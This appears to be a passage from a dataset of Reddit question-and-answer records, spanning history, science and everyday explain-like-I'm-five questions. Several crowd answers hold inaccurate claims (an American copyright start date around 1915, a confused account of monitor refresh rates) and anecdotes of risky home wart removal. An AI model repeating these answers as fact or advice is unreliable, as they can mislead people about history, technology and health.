alternative sources are lost. Often, it is simply because of the very nature of the event: a private conversation, a secret meeting, etc. When \n\nWhen examining something like the [priority dispute over the invention of special relativity](_URL_0_), an object of tremendous importance for all of modern science, we can look at the dates on letters and papers sent to journals, but ultimately we have to rely on the faulty memories of the 4-5 main protagonists, all of whom had great interest in portraying their own contributions in a favourable light.\n\nOf course, I am not calling the rule into question. Just sharing a thought that crossed my mind reading the excellent explanation. ", "That reminds me of a story my grandfather told me about his time in the war...", "David Reynolds has a great example of the problems with first-person accounts from memory in \"The Long Shadow: The Legacies of the Great War in the Twentieth Century\", starting around page 359:\n\n\n >  Although the recollections of ordinary participants can often provide fascinating and important historical detail that is not recorded in official archives, scholars cannot treat such \u201ctestimony\u201d as intrinsically more reliable than any other source. Consider an example from Lyn Macdonald\u2019s book about the battle of the Somme\u2014the recollections of Lieutenant F. W. Beadle, an artillery officer, about a British cavalry charge on July 14, 1916: \n >  \n >   >  It was an incredible sight, an unbelievable sight, they galloped up with their lances and with pennants flying, up the slope to High Wood and straight into it. Of course they were falling all the way . . . horses and men dropping on the ground, with no hope against the machine-guns, because the Germans up on the ridge were firing down into the valley where the soldiers were. It was an absolute rout. A magnificent sight. Tragic. \n >  \n >  Military historian Richard Holmes has dealt clinically with this vivid piece of apparently eyewitness testimony. First, as photographic evidence from 1916 makes clear, British cavalry units had dispensed with frills such as pennants. Second, a cavalry charge right into a wood that was full of summer foliage and had been heavily shelled would have been virtually impossible: High Wood on July 14 was hard enough for the infantry to get through. Finally, the war diaries of the units in question show they incurred very light casualties on that day, while inflicting considerable damage on German machine-gunners. The cavalry had been used, in effect, as mounted infantry, rapidly moving against German emplacements before dismounting and digging in. In short, High Wood was \u201cnot the Charge of the Light Brigade,\u201d even though that was how, half a century later, Lieutenant Beadle saw it in his mind\u2019s eye. * In Holmes\u2019s words, Beadle \u201ctells us precisely what we expect to hear,\u201d given our assumptions about the archaic futility of the Somme, but \u201cit is something that did not actually take place.\""]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/1svu4y/when_the_space_shuttle_challenger_exploded_in/ce212ha", "https://www.reddit.com/r/AskHistorians/comments/1sxxhd/meta_why_is_a_personal_account_given_by_a/ce2cyv0", "https://www.reddit.com/r/AskHistorians/wiki/faq/meta#wiki_rules_discussion"], "answers_urls": [[], ["https://addons.opera.com/en/extensions/details/violent-monkey/", "https://github.com/os0x/NinjaKit", "https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo", "https://addons.mozilla.org/en-us/firefox/addon/greasemonkey/", "https://greasyfork.org/en/scripts/16006-reddit-overwrite-extended-with-list-of-alternatives", "http://adguard.com/", "https://www.reddit.com/r/RedditAlternatives/wiki/index"], [], [], ["https://en.wikipedia.org/wiki/Relativity_priority_dispute"], [], []]}
{"q_id": "y400v", "title": "why are sesame seeds but on buns?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/y400v/why_are_sesame_seeds_but_on_buns/", "answers": {"a_id": ["c5s4mqw"], "score": [2], "text": ["Just for looks. The seeds add nothing to the bun(texture and tastewise), they just make the bun look more appetizing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9i1hts", "title": "why do priests ask the people if they want to object at weddings?", "selftext": "Is this an old tradition? Is there a story behind this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9i1hts/eli5_why_do_priests_ask_the_people_if_they_want/", "answers": {"a_id": ["e6g2j0q", "e6g2pnu", "e6g2rx4", "e6g2xk8", "e6g5712", "e6g7i8h"], "score": [8, 2, 21, 28, 2, 2], "text": ["I do weddings. I don't ask this. \n\nThe reason some ask is that people at the wedding have a job to do. They are witnesses to vows. If they are supposed to keep people accountable to their vows, they should be in agreement. \n\nBasically, if you object, say so now or you are accepting the responsibility to help this marriage. ", "Occasionally someone really does have a reason they should not be married, like \"he's already married\" or \"she's having my baby\" etc.\n\nThey would rather stop the ceremony, than have a sham ceremony for a marriage that won't stick.", "In olden times, where people would have an easier time of hiding criminal pasts, or the fact that they are already married, it held a purpose of making sure that the two people were eligible to get married before finishing the ceremony, by asking the people in attendance. Nowadays, that's not really a concern, so it's not commonly used. ", "It is an old tradition. It is also basically meaningless these days which is why there are a lot of people who leave it out.\n\nBasically, there have always been legal (or religious) reasons for why two people couldn't get married. Think of them being related or one of them already being married. Nowadays, all of that is pretty easy to check beforehand thanks to computer systems.\n\nBack in the day though, there were no easy ways to check this, so they depended on members of the public. Essentially, this line was meant to ask if any member of the public knew of a legal/religious reason why these people shouldn't be married. So it wasn't asking for someone to go 'no, Sandra, don't do it, I still love you'. Rather, it was so someone could go 'the groom already has a wife in another town, so this marriage is illegal'. ", "The point is \"forever hold your peace\". It means that you're not allowed to say that they shouldn't be in a relationship anymore. That time has passed.", "I've never been to a wedding where this question was actually asked.  The only time I've seen it is on TV weddings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1hxodd", "title": "How do they get clean rooms clean", "selftext": "So i always wondered, construction is a dirty dusty process. And normally you just wipe stuff down afterwards and the space is good to go. But how do they go from construction to hyper clean? Like how do they first clean the space down so perfectly?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hxodd/how_do_they_get_clean_rooms_clean/", "answers": {"a_id": ["cayyqeg", "cayyx8s", "caz2gr3", "caz44ns", "caz76pd", "cazaery", "cazf84c"], "score": [37, 79, 9, 7, 5, 10, 2], "text": ["Clean rooms require a high number of air exchanges per hour, and filtered air into the space, and exhaust from the floor that is not recycled. ", "As /u/JohnShaft said, they move a lot of clean air through the area. The biggest hazard is airborne particulates (mostly emanating from humans), and moving large volumes of ultra-filtered air down from the ceiling is how that is dealt with.  \n  \nIn semiconductors, this has actually become a bit less important over the last decade. Most advanced waferfabs never expose the wafers directly to the ambient air. They come into the area in sealed containers, are airlocked into the equipment, and go back into the containers when ready to move to the next step.  (There is a bit of contamination that can happen in the airlock itself, of course.) ", "Vaccuums and rags", "[Here's a diagram](_URL_0_) demonstrating how a clean room's filtration system works. As you can see, air is allowed to \"fall\" from the vents above rather than being blown from vents to ensure any particulates don't become airborne. The system then recycles the air by sucking it back in through ground vents and re-filtering it before allowing it pass through the room once again.", "I currently work at a vaccine manufacturing facility, which from what I'm reading in this thread might be slightly \"cleaner\" than the rooms used for semiconductors.  \n\nIn addition to the air filtration systems, the rooms are designed such that they are easy to mop and/or wash.  When the space needs to be re-classified it gets literally hosed down with both anti-bacterial and anti-fungal chemicals.  Interestingly, even with pharmaceuticals the clean room environment is more about protecting the product than the operators.", "I work in a Class 10 clean room daily.  Its about the size of 2 football fields.\n\nThe room itself isn't so much as clean as the air.  The actual surfaces of things don't really need to be all that clean, a quick wipe down with 10% IPA and DIW takes care of things.\n\nOnce you fire up the HEPA system the air gets clean very fast.  My cleanroom filters the entire volume of air in itself every 30 seconds.", "I've been in a class 2000 clean room that was the size of a football field, and two kilometers underground. It was very clean yet still slightly dirty because once something settles they do not disturb it until the cleaning crew gets to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://i.imgur.com/zdvWbe6.png"], [], [], []]}
{"q_id": "wp8d6", "title": "Is this fat vs. carbs graphic accurate?", "selftext": "[_URL_0_](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wp8d6/is_this_fat_vs_carbs_graphic_accurate/", "answers": {"a_id": ["c5f8cyy", "c5fa6qx", "c5fl4nk"], "score": [30, 15, 4], "text": ["No, not at all. Insulin is secreted whenever you eat, regardless of the composition. If you want to lose weight, eat less total calories than you use in a day, whether those calories come from fat or carbohydrate is irrelevant.", "The graphic is not very accurate at all, I'd suggest looking at the research linked on the wiki _URL_1_ . \n\nThere are many positive and negative study results, some seem to indicate that a low carb diet can result in more weight loss than low fat diets with similar caloric restrictions however this could easily be explained as differences in genetics, hormones, etc. I think more research is required on this subject\n\nEdit: Another study that finds a low carb, high fat high protein diet resulted in weight loss that was completely attributed to the caloric deficit _URL_0_", "Nobody else seems to have mentioned this, but the left side of the graphic mentions that the remaining fatty acids are \"distributed and stored\".  Distributed and stored means just what you probably think it does... it means the extra fatty acids are stored, as fat. That's how the body stores excess energy. So the left side is using word-play to make their 'storage' seem healthier than the storage on the right side. Both are equivilent. "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/G25Zx"], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/15767618?dopt=AbstractPlus", "http://en.wikipedia.org/wiki/Medical_research_related_to_low-carbohydrate_diets"], []]}
{"q_id": "ako7xj", "title": "why most military jets went from center stick to side stick?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ako7xj/eli5_why_most_military_jets_went_from_center/", "answers": {"a_id": ["ef6g7y6", "ef6h9ud", "ef6hcau", "ef6rz02", "ef6wyeq", "ef778b3", "ef7790h", "ef7by43", "ef7daaw"], "score": [10, 50, 147, 35, 41, 11, 9, 2, 2], "text": ["Not sure what planes you're talking about as I'm not sure what all the planes are. But I do know that fighters need side stick because in high g maneuvers you can't hold a center stick, you need something to hold you arms, so fighters have a side stick that let you use it while using the armrest.", "It was one of the big advantages of going from fly by physical link to the control surfaces to using fly by wire. Far less faffing about setting up the control runs (Rigging) and saves a lot of weight.\n\nModern sidesticks also have force feedback now to represent the forces on the control surfacesthat would have been felt by the pilot if there was a physical control run.", "The center stick was designed originally to let the pilot exert more force, before the aircraft was fly-by-wire (no special amount of force needed).\n\n", "Haven\u2019t seen it mentioned yet, but the actual REASON they moved the stick has to do with human factors. Primarily things like being able to see screens better without the stick in the way, being able to pee easier, and a big one is it keeps their legs from getting tangled up if they have to eject. ", "There's a wide range of reasons, most of which have to do with pilot ergonomics.  In a center stick configuration, the pilot has to sit in an upright position which is not the best for tolerating high-g maneuvers or longer flights.  By moving the stick to the side, the pilot can sit in a more natural, reclined position.  With the pilot reclined, the cockpit doesn't have to be as tall, which gives engineers room to move other components around into a configuration that might be better for aerodynamics or a lower radar return.", "One other issue is interference with the G suits.  From the Blue Angels FAQ;\n\n\" Additionally, G-suits would detrimentally impact flight safety.The Boeing F/A-18's control stick is mounted between the pilot's legs. The Blue Angels have a spring tensioned with 40 pounds of pressure installed on the control stick that gives the pilot a \"false feel.\" This allows the pilot minimal room for un-commanded movement. The pilots rest their right arms on their thighs for support and stability while flying. Therefore, inflating and deflating air bladders in a G-suit would interrupt this support and stability, causing un-commanded aircraft movement. \"\n\n_URL_0_\n\nSide sticks don't have that issue.", "Follow up question: Why haven't we switched to side joystick for cars???   \nYou'd get rid of the steering wheel, all of the pedals - and it'd work for left or right hands easily...  \nPlus - awesome power slide.", "TIL fly by wire is the most misleading term ever. It actually means no \u201cwires\u201d physically move any part of the plane.", "Ergonomics. The center stick was there out of necessity because it was hard to put the stick off to one side with mechanical controls. Once planes went to fly-by-wire, it was no longer necessary. \n\nTry it. Grab a pretend stick between your legs, then stay like that for hours, vs grab one off to the side.\n\nYou're either leaning forward and twisting a bit, or leaning back, square in your seat. \n\nNow do both at 3 Gs.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.blueangels.navy.mil/faq/"], [], [], []]}
{"q_id": "1j7a8d", "title": "how can an exoplanet that isn't orbiting any star have a temperature like 700k/~800f?", "selftext": "I was reading _URL_0_ and saw that CFBDSIR2149 is a rogue planet or a brown start. How can it maintain that temperature if it doesn't orbit a star and neither sustain fusion reactions?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j7a8d/how_can_an_exoplanet_that_isnt_orbiting_any_star/", "answers": {"a_id": ["cbbwiig"], "score": [10], "text": ["Very large planets are mostly just collections of gas, hence the term 'gas giants.' Rocky planets cannot form nearly so large.\n\nIt may help to understand a little about stars, first. Stars are large balls of gas. Large enough that the weight of their outer layers compresses the center until it becomes hot enough to begin nuclear fusion. But why don't they continue collapsing smaller and smaller? The heat generated in the center of the star, or core, from nuclear fusion creates enough outward pressure to hold those layers up. It's a balancing act between inward and outward pressure.\n\nNow to planets. During it's formation, if an object collects more material to be larger than a rocky planet but not enough to become a star, then it is referred to as a gas giant, like our own Jupiter and Saturn. If it's *almost* large enough to become a star, we sometimes call it a brown dwarf. Either way, it's not a star because there is no nuclear fusion. When a planet first forms, it is very, very hot. Like a star, this heat helps hold up those outer layers of gas. As those outer layers cool, there is less pressure holding them up and the planet as a whole shrinks. When the planet shrinks, the inner layers are compressed a bit more, producing more heat.\n\nFor example, Jupiter was about twice as large in diameter when it first formed than it is today. It currently shrinks about 2 cm a year. Jupiter actually radiates more heat than it receives from the sun."]}, "title_urls": [], "selftext_urls": ["http://www.popsci.com/science/gallery/2013-07/worst-places-live-universe?image=6"], "answers_urls": [[]]}
{"q_id": "5d04c4", "title": "when soaking a portion of skin with a wart on it in apple cider vinegar, why does only the area with the wart hurt and not the regular skin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5d04c4/eli5_when_soaking_a_portion_of_skin_with_a_wart/", "answers": {"a_id": ["da0rdqw", "da0t5d7", "da10v3t", "da11otg", "da13nve", "da149g8", "da15k4z", "da15ltl"], "score": [6, 92, 94, 459, 47, 5, 2, 4], "text": ["That's not very common. I used that on warts myself, and it only hurts if I get it in a cut. Have you scratched it a lot?", "This was all I was able to find. It may lend to help understand. I found it on this website: _URL_0_ \n\n\"The acid within the vinegar will react with the wart, causing it to swell and throb. This will cause a certain degree of pain, which seems to vary from user to user depending on the severity of the wart. According to numerous testimonials on the Natural Health Ezine website, the initial pain can last anywhere from a few hours to a few days. Although some users report minimal pain, others reference pain so intense it interrupted sleep. In this case, an over-the-counter pain reliever should be used.\"", "I had a wart on my finger once; I just chewed it off. Has not returned. \n\n10/10 would recommend. ", "A lot of misinformation ITT. Warts are viral, any antimicrobial properties of apple cider vinegar (which are already dubious at best) are moot in the treatment of a wart. Warts are benign growths, an extension of your own skin due to a viral infection. Because a wart doesn't belong on your skin, your body responds with its immune system (mostly NK cells and eosinophils). These cells that respond are called granulocytes. They specialize in targeting irregular growths like warts. These cells act like planes on a bombing run to destroy your irregular cells by doing \"fly-bys\" and secreting vesicles with proteins that cause cell death. This in turn leads to localized inflammation which causes your skin to be extra sensitive in that particular area. Especially to an irritant like an acid.\n\nEdit: While acetic acid (a single component of apple cider vinegar [ACV] ) has some anti-fungal and antibacterial properties in higher concentrations, the acetic acid composition of ACV is usually 5% more or less. While some less resilient bacteria and fungi can be effected by the pH change that comes with the topical application of ACV, I would like to remind you that ACV is itself a product of fermentation by bacteria which are alive and well in any unpasteurized bottle of ACV.", "Warts are the result of a viral infection beneath. We can't fight a virus directly yet.\n\nAny treatment - old wives tales, medieval sorcery, esoteric quacksalvery, state of the art western medicine like freezing or heating it, take your pick - is meant to trigger the body's immune system to recognize the threat and fight it.\n\n(Or a surgeon cuts his scalpel into it - but that and nukes are the exception) \n\nThe collateral damage is an inflammation, and whatever destruction the remedy causes when it hits some nerve cells. That causes the pain. Healthy skin would just ignore vinegar. The upper layers of warts are dead cells.", "Had one on the knuckle of my thumb, tried freezing it a few times, didn't work so well, got drunk, froze it again and excised it with nail clippers and pliers, didn't come back, would not recommend!", "Have anyone else exprienced the skin not going fully back to normal afterwarts (hehe)? I had warts 12 years ago and my thumb still act weird. When its hot outside, the wart graveyard get super sweaty and the skin is kind of thick, and is easily bitten of or just remover with a nailclipper. This has always bothered me and the nurse doesnt know what it is.", "Ymmv but using duct tape over the course of a week and a half got rid of the ones on my thumb. Freezing them is such a joke. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.leaf.tv/articles/side-effects-of-apple-cider-vinegar-on-warts/"], [], [], [], [], [], []]}
{"q_id": "4l0cql", "title": "why does timing affect a joke being told but not the same joke being read?", "selftext": "If someone is telling the joke, the timing of the punchline helps make it funny. But if I read the same joke, it's still funny.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4l0cql/eli5why_does_timing_affect_a_joke_being_told_but/", "answers": {"a_id": ["d3j7q6h", "d3jfb00", "d3jnqn1", "d3jwfxh"], "score": [27, 3, 3, 2], "text": ["Most of the time you intuitively know how to read a joke in order to not spoil the punchline too fast and for it to be funny. Some people even put some empty lines inbetween the \"body\" of the joke and the punchline when posting a joke on the Internet. That's supposed to emulate the timing as if it was spoken and not written. Also I guess even if you read the entire joke quickly you can then stop for a couple seconds to think about it and find it funny by imagining how a person would tell the joke out loud.", "Actually, contrary to popular belief, timing *isn't* the most important thing in making a joke funny. It can help, and you can ruin a joke by telling it so fast people can't keep up or so slowly that people lose interest, but beyond that the importance of timing is a bit of a myth.\n\nThe important thing is that the audience understands what's being said. When you read a joke, you read it at your own pace: the right pace for you to understand it.", "It is because punctuation and formatting of things that we read mimics timing/cadence of vocal speech. This allows the reader to develop their own version of timing for what they are reading, and it, incidentally, why proper punctuation is so damned important.\n\nExample (this is the number 1 joke of all time on r/jokes, as reformatted by me):\n\n >  \"SON! Guess what? You were adopted!\" said the dad \"Are you kidding really\" I said back \"Yup get ready they'll be. Picking you up. In about an HOUR!\" said the. Dad. \n\n\nThat probably isn't as funny as this: _URL_0_", "It's not timing that affects a joke so much as delivery.  Some jokes work better delivered on stage, than in print, and for some of those jokes, timing is critical.  Some jokes work better in print.\n\nAlso, not all jokes are a simple set-up and punchline.\n\nI can't recall specifics right now, but I've heard many a comedian tell a story about a joke that looked horrible in print, but when they delivered it on stage, it was a hit.\n\nI also remember watching the BBC presentation of Hitchhiker's Guide to the Galaxy, and thinking, \"this is a comedy?  IDGI\".  But when I later read the book, I was laughing hysterically.\n\nJoke-telling is an art with different mediums.  Each medium works a little differently."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/Jokes/comments/3hvisa/son_i_wanted_to_let_you_know_you_were_adopted_my/"], []]}
{"q_id": "358loo", "title": "why is the word \"playwright\" spelled with \"wright\" instead of \"write\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/358loo/eli5_why_is_the_word_playwright_spelled_with/", "answers": {"a_id": ["cr2190o", "cr21ctd"], "score": [71, 20], "text": ["\"Wright\" is a word that means \"to make or build\". \n\nJust like a shipwright makes ships, a playwright makes plays.", "Because despite the similar sound, the word \"playwright\" does not mean \"one who writes plays\". The suffix \"wright\" means \"maker of\", as in \"shipwright\", \"wheelwright\".\n\nThis an example of a word that has been frozen since old English, when the word for \"worker\" was \"wryhta\". The vowels have shifted slightly but the archaic form has been preserved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1afb80", "title": "What, if any, \"copyright\" protection was in place for the great musical pieces throughout history?", "selftext": "Today, if you download most music without paying for it, you're subject to lawsuits and prosecution by the RIAA. Was there anything similar in place throughout history? For example, could someone have performed Mozart's work without paying him? Could someone have legally rebuilt one of the Banu Musa brother's machines and played the music in their home?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1afb80/what_if_any_copyright_protection_was_in_place_for/", "answers": {"a_id": ["c8wwgrx", "c8wx1st", "c8wxeic", "c8xd8id"], "score": [3, 9, 2, 2], "text": ["[Miserere](_URL_0_) was protected by threat of excommunication. According to legend, a young Mozart heard the piece and wrote it down from memory.", "I can only remember for the Baroque period, sorry, but I believe it was similar during the Classical and Romantic periods as well (possibly not late Romantic--this is when copywrite was introduced).\n\nThere was no real sense of \"ownership\" of a melody or piece and some composers were well known for poaching interesting snippets off of other composers. Handel was particularly known for this. He would take a theme and make something new and *better* out of it, that then became popular. \n\nDuring the Romantic period, you'd see things like \"Variation on a Theme by Paganini,\" (Brahms) where the theme is clearly credited to the original performer, but another piece is written off it using the same elements. Folk music is another area of inspiration, that leads to things like Bartok's [Three Hungarian Folk Songs](_URL_0_) or Chopin's [mazurkas](_URL_1_).\n\nKeep in mind, too, that, particularly with the Romantic composers, what they were playing was highly or even entirely improvised on the spot. So even if someone wanted to play the piece on their own, they'd be hard pressed to do so without considerable talent and a formidable memory. ", "Music copyright has generally been quite fast and loose throughout history; as recently as the mid-19th century, Stephen Foster's attempts to make a living as a popular song composer resulted in his persistent poverty due to rampant piracy and plagiarism, though his efforts contributed to the rise of the sheet music industry as a powerful business force ([source](_URL_2_)). Some of the earliest state-sponsored music copyright for which I can find evidence is Elizabeth I's 1575 granting of an ultimately unsuccessful music publishing monopoly to Thomas Tallis and his student William Byrd ([source](_URL_1_)). See also the Wikipedia pages on [history of music publishing](_URL_3_) and [history of copyright law](_URL_0_).", "This is actually a fascinating topic and changes much throughout history.\n\nIn the medieval and renaissance there was no real concern with this. Everyone basically ripped off everyone else to the point where at some point every composer of the renaissance wrote a mass based on the L'Homme Arm\u00e9e melody.\n\nIn the classical and early romantic periods things would be published regionally. There was no existence of multi-national publishing companies. So Beethoven would have the same piece published in Germany, Austria, France and England and get a publishing fee for each one as well as royalties. Pretty slick business.\n\nAmerican Copyright law came into effect in 1915 I think, so anything after then would be protected. A famous example of this is that Stravinsky, who wrote the Rite of Spring in 1913, changed about three notes to the score of the Rite and then republished it so it would fall under copyright law.\n\nWell that's a very brief overview, hope that helps\n\nMost of this comes from the Burkholder, *A History of Western Music* but a lot of it is also from my memory"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Miserere_%28Allegri%29"], ["http://www.youtube.com/watch?v=g2IKaPuk0lc", "http://www.youtube.com/watch?v=H1_2K8K2W3U"], ["http://en.wikipedia.org/wiki/History_of_copyright_law", "http://books.google.com/books?id=JLCJLjHoQ2gC&amp;pg=PA104&amp;source=gbs_selected_pages&amp;cad=3#v=onepage&amp;q&amp;f=false", "http://books.google.com/books?id=Ousn0lWqeisC&amp;lpg=PP1&amp;pg=PA242#v=onepage&amp;q=copyright&amp;f=false", "http://en.wikipedia.org/wiki/History_of_music_publishing"], []]}
{"q_id": "9tbh4j", "title": "if sleeping a long time is detrimental for cardiovascular reasons, then why can our body naturally do it and allow it to happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tbh4j/eli5_if_sleeping_a_long_time_is_detrimental_for/", "answers": {"a_id": ["e8uywbd", "e8vawzt", "e8vc6an", "e8vcgw9", "e8vcy8z", "e8vdasi"], "score": [409, 40, 173, 2, 11, 3], "text": ["You want to sleep as long as possible to maximize your energy. In nature, you're grateful for every rest you get, so we never really developed a limiter. The limiter is that tiger right behind you, get up!\n\nSame with food. If you always have to fight for every scrap, you're always going to eat it, so nature didn't really put an extra limit on that. Nature didn't plan for people to get obese and sit around all day, because you just can't do that in the harsh savannas of africa.", "It's a common mistake to think that your body always does things to benefit it. It's a complex organism where some parts often work against the well-being of the whole, especially in situations where the context is at odds with the one in which humans evolved.", "You're starting from a slight misconception.\n\nTry \"naturally\" sleeping too long out in nature.  Unless you have some underlying medical condition or using chemical assistance, you probably can't.  Even inside a tent, it's pretty difficult.\n\nWe can only sleep too long so easily because we have artificially shut ourselves off from the signals such as light, temperature change, and critter noise that trigger our body to wake up.", "your body keeps you hungry to overeat as well even though it is detrimental. We have to remember that our evolutionary selves have not caught up to human advancements.", "Light was the \"sleep limiter\" back in the past. We evolved in central Africa were there aren't particularly long nights, you went to sleep with the dark and light naturally woke you up at sunrise.\n\nWhen it's dark, your body produces melatonin, which makes you sleepy, light inhibits its production.", "How long is a long time? ELI5"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3486hj", "title": "Why does my external speaker have louder ground-hum when the computer it is plugged into displays brighter colors?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3486hj/why_does_my_external_speaker_have_louder/", "answers": {"a_id": ["cqs8uyc", "cqshp84"], "score": [7, 23], "text": ["your monitor refresh rate is probably 60Hz. This is the horizontal refresh rate. there's also a vertical refresh rate, which is measured in khz (mine, for instance, is at 133.3kHz).\n\nThe data transmitted to the monitor is being transmitted to your speakers. I can't answer why brighter is louder(digital it shouldn't matter!) but i know exactly what you are talking about. I do know that to fix it you need RF chokes on the monitor data cables, and possibly on the speaker audio cables, as well. Poorly constructed amplifiers, or really leaky sources will oscillate audibly even on radio frequency input.\n\nedit: i say with digital it shouldn't matter, but with analog signalling, the pixel values (which is a tuplet, 0,0,0 to 255,255,255) are represented by voltages, so higher voltages means brighter values. i.e 0,0,0 is black and 255,255,255 is pure white (all three, RGB values max)\n\nWith digital it should be all ones and zeros, so you shouldn't be able to hear a stream of ones more than a stream of zeros, other than the fact that it's still voltages, (say, 1v for 0 and 5v for 1), and perhaps that is why you can hear a \"bright screen\", all the voltages sent are high!\n\nEdit 2: RF chokes stop both the data cable to the monitor and the speaker audio cable from becoming antennas. RF chokes literally impede Alternating Current, so any oscillations get dissipated before radiating/exciting. At least that's the theory. it doesn't always work. a crap amplifier in your speaker set could still have too large of a ground trace that gets excited by the monitor's poor traces/soldering and then RF chokes won't make a bit of difference. the best way to ensure this doesn't happen is to completely magnetically shield the amplifier - this is why high end speakers/amplifiers say they are \"EM shielded\"", "Your monitor uses a scheme called \"dynamic contrast\" to improve it's contrast ratio. When brighter colors are displayed, the backlight intensity increases, which requires more current from it's power supply. The audio amplifier's power supply is, obviously, not as well isolated from from the power line noise as it could be and is reacting to the increased load with increased noise. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d9367a", "title": "(NSFW) Many Egyptian pharoahs practiced incestual marriage. Why did they not have the Westermarck effect, ie the innate disgust for brother-sister/child-parent sex that most people today have?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d9367a/nsfw_many_egyptian_pharoahs_practiced_incestual/", "answers": {"a_id": ["f1f1f63"], "score": [13], "text": ["I'm sorry, but we've discussed this question among the mods and decided to remove it because the way its phrased makes it unanswerable. You're asking our experts to prove a negative (why didn't they have the Westermarck effect?) which is, in any case, as unproveable as the notion of ancient bipolar disorder or PTSD, and probably irrelevant to the institutional and religious necessity of Pharaonic brother-sister marriage. \n\nWe suggest that you repost a rephrased question that would be easier for an expert to tackle: for example, \"Do we have any evidence that Egyptian brother-sister marriage was hindered by what we call the Westermarck effect, i.e. innate disgust for brother-sister or child-parent sex?\"\n\nThanks!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3muicy", "title": "how do the light ssds work?", "selftext": "How would one resist a light current? have a capacitance of it? store it's value in a couple oxygen atoms?\nI'm rather skeptical of a light drive 'putting SSDs on hold'", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3muicy/eli5_how_do_the_light_ssds_work/", "answers": {"a_id": ["cvi6wng"], "score": [3], "text": ["From what I read yesterday, there's a special alloy that reacts to a strong pulse of laser light.  When it's hit with a certain wavelength, it gives up its crystalline structure and turns into an amorphous blob.  A smaller pulse of light detects the state of the alloy and reads its state back out.  Hit the alloy with another strong laser and it returns to its crystalline structure.  By varying the wavelength and intensity of the laser, the team was apparently able to store up to 8 bits of data in a single location.\n\nMore info here: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.engadget.com/2015/09/28/first-nano-photonic-memory-chip/"]]}
{"q_id": "efx87u", "title": "how is lithium mined exactly and why does it consume so much fresh water?", "selftext": "My understanding of lithium mining is that there are underground salt lakes which contain a lot of lithium. This salt water is pumped to the surface and is then left to evaporate for several months in the sun. The remains can then be further processed to lithium.\n\nWhat I don't understand is that a lot of articles state that there is a very high consumption of fresh water. Since the actual water from the salt lake most likely doesn't count as fresh water, what exactly is the fresh water then needed for?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/efx87u/eli5_how_is_lithium_mined_exactly_and_why_does_it/", "answers": {"a_id": ["fc30rud", "fc30v7w"], "score": [6, 4], "text": ["The brine (salt water) isn\u2019t pumped out. They pump in fresh water, and the brine comes out somewhere else. The freshwater can also dissolve some of the rock salts underground and becomes more brine.", "From what little I've read, the problem is that mining up the lithium brine also depletes nearby aquifers of fresh water. There was one study done in Chile in which they measured an increase in the levels of the brine pools (water being pumped in) matched a decrease in water levels in nearby freshwater lagoons.\n\nSo essentially, the problem is that when you remove the salt water brine from the Earth, it leaves space for nearby freshwater to move in and drains surface pools which many rural communities in South America (where most Lithium is mined) depend on. It will also theoretically have an effect on the local ecology as wildlife loses access to water.\n\n[Source](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ocmal.org/lithium-firms-depleting-vital-water-supplies-in-chile-analysis-suggests/"]]}
